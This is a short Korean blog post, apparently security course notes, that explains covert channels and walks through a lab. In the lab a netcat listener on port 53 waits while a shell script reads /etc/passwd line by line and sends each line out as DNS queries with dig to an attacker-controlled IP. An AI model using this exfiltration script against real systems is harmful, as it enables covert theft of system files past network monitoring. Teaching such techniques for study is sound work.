부산정보산업진흥원/보안

은닉채널(Covert Channel)

newind2000 2017. 7. 6. 17:12

[은닉채널(Covert Channel) 개념 설명] 

은닉채널(Covert Channel)은 데이터 전송 시 평소에 잘 사용하지 않는 공간에 공격 명령어 및 코드를 담아 전송하는 공격 방법이다.

ICMP, DNS, TCP에 ack등에 데이터를 넣어 전송할 수 있다.


설명이 실명 같으니 실습을 해보면서 개념을 잡아보자.


[은닉채널(Cover Channel) 실습]

준비: NetCat 프로그램, 2대의 Linux 시스템


공격 대상 컴퓨터에 있는 passwd 파일의 정보를 한줄씩 가져오는 공격을 할 것이다.

우선적으로 공격에 사용할 컴퓨터에 NetCat을 실행시켜 데이터를 받아오도록 대기 시킨다.

nc -lnp 53 -vv -u -k 



[CV.sh]

index=1
while [ ${index}  -le `cat /etc/passwd |wc -l` ]; 
do
	dig `cat /etc/passwd | sed $index\!d` @192.168.100.154
	index=$((index + 1))
done

- 'index' 라는 변수를 선언해주고 초기값을 담는다.

- while 문 안에 조건을 입력한다. '-le'는 '<='와 같은 의미이다.

- 'wc -l'는 문서안에 있는 줄의 개수를 반환한다.

- 'dig', 'sed' 명령어에 대한 후행학습 필요


피 같은 정보가 빠져 나가는 것을 볼 수 있다.

[공격자]

[희생자]



반응형